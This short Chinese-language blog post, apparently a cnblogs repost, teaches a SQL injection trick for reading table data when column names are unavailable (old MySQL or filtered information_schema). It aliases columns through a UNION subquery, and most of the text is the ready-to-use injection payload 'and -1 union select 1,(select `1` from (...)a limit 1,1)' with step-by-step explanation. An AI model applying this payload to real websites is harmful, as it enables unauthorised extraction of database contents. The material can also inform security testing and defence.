标签:注入 查找 mit code and 替换 union form 字段
有某些情况,可以查找到表名,但查找不到列名。
MySQL < 5 或 web过滤 information_scema
select `1` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13 union select * from 表名)a limit 1,1
子查询中select的数目为列数。
通过列数 1,2,3... 再union带出整张表数据。这一步的目的是改变/替换字段名(替换为1,2,3,4...)。
再通过select `1`带出第一列数据。
再加上limit 1,1 带出单一一个数据。
and -1 union select 1,(select `1` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13 union select * from 表名)a limit 1,1);
标签:注入 查找 mit code and 替换 union form 字段
原文地址:https://www.cnblogs.com/huim/p/10783112.html